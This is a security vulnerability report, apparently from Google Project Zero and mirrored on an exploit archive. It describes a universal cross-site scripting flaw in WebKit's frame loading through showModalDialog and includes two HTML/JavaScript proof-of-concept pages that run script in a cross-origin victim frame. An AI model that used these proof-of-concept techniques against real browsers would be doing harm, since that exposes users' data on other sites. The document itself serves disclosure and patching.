扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 |
BACKGROUND As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121, WebKit's support of the obsolete <code>showModalDialog</code> method gives an attacker the ability to perform synchronous cross-origin page loads. In certain conditions, this might lead to time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In particular, the original bug exploited a TOCTOU bug in <code>SubframeLoader::requestFrame</code> to achieve UXSS. (copied from lokihardt's report) </code><code> bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { // Support for <frame src="javascript:string"> URL scriptURL; URL url; if (protocolIsJavaScript(urlString)) { scriptURL = completeURL(urlString); // completeURL() encodes the URL. url = blankURL(); } else url = completeURL(urlString); if (shouldConvertInvalidURLsToBlank() && !url.isValid()) url = blankURL(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. if (!frame) return false; if (!scriptURL.isEmpty()) frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom return true; } </code><code> The bug was fixed by inserting an extra access check right in front of the <code>executeIfJavaScriptURL call. </code><code> -if (!scriptURL.isEmpty()) +if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); </code><code> It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203 was reported, which abused the HTML parser to bypass the added check. The problem was that isURLAllowed</code> didn't block <code>javascript:</code> URIs when the JavaScript execution context stack was empty, i.e. when the <code>requestFrame</code> call was originating from the parser, so the exploit just needed to make the parser insert an <code>iframe</code> element with a <code>javascript:</code> URI and use its <code>onload</code> handler to load a cross-origin page inside <code>loadOrRedirectSubframe</code>. As a result, another check has been added (see the comment below): </code><code> +bool hasExistingFrame = ownerElement.contentFrame(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); if (!frame) return false; -if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) +// If we create a new subframe then an empty document is loaded into it synchronously and may +// cause script execution (say, via a DOM load event handler) that can do anything, including +// navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated. +bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL()); +if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); </code><code> VULNERABILITY DETAILS The second fix relies on the assumption that the parser can't trigger a <code>requestFrame</code> call for an iframe</code> element with an existing content frame. However, due to the way the node insertion algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in progress: https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185 </code><code> static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child, ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion) { NodeVector postInsertionNotificationTargets; { ScriptDisallowedScope::InMainThread scriptDisallowedScope; if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree())) containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval(); doNodeInsertion(); ChildListMutationScope(containerNode).childAdded(child); postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child); } [...] ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child)); for (auto& target : postInsertionNotificationTargets) target->didFinishInsertingNode(); [...] </code><code> Note that <code>HTMLFrameElementBase::didFinishInsertingNode</code> eventually calls <code>requestFrame</code>. So, if a subtree which is being inserted contains multiple <code>iframe</code> elements, the first one can act as a trigger for the JavaScript code that creates a content frame for another element right before its requestFrame</code> method is executed to bypass the <code>canExecuteScript</code> check. <code>isURLAllowed</code> again can be tricked with the help of the HTML parser. It's also worth noting that the <code>showModalDialog</code> method has to be triggered by a user gesture. On the other hand, an attacker can't just wrap the exploit in a <code>click</code> event handler, as it would put an execution context on the stack and make the <code>isURLAllowed</code> check fail. One way to overcome this is to save a gesture token by performing an asynchronous load of a <code>javascript:</code> URI. VERSION Safari 12.0.3 (14606.4.5) WebKit r243998 REPRODUCTION CASE <body> <h1>Click anywhere</h1> <script> let counter = 0; function run() { if (++counter == 2) { parent_frame = frame.contentDocument.querySelector("iframe"); frame1 = parent_frame.appendChild(document.createElement("iframe")); frame2 = parent_frame.appendChild(document.createElement("iframe")); frame1.src = "javascript:top.runChild()"; } } let child_counter = 0; function runChild() { if (++child_counter == 2) { parent_frame.appendChild(frame2); a = frame2.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([<code> <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr</code> + "ipt>"], {type: "text/html"}))); frame2.src = "javascript:alert(document.documentElement.outerHTML)"; } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = <code>javascript:'<b><p><iframe + <code> src="javascript:top.run()"></iframe></b></p>'</code>; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> From WebKit's bugtracker: Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit has blocked the original repro case because it relies on executing javascript: URIs synchronously, the underlying issue is still not fixed. Currently, <code>requestFrame</code> is implemented as follows: bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { [...] Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1*** if (!frame) return false; if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) { // FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case. // Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585). if (urlString == "javascript:''" || urlString == "javascript:\"\"") frame->script().executeIfJavaScriptURL(scriptURL); else frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2*** } return true; } By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin context. Updated repro: <body> <h1>Click anywhere</h1> <script> let counter = 0; function run(event) { ++counter; if (counter == 2) { event.target.src = "javascript:alert(document.documentElement.outerHTML)"; } else if (counter == 3) { frame = event.target; a = frame.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([<code> <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr</code> + "ipt>"], {type: "text/html"}))); } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = <code>javascript:'<b><p><iframe + <code> onload="top.run(event)"></iframe></b></p>'</code>; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> I'd recommend you consider applying a fix similar to the one that the Blink team has in https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62, i.e. using the frame's owner document as a fallback for the security check. |
体验盒子
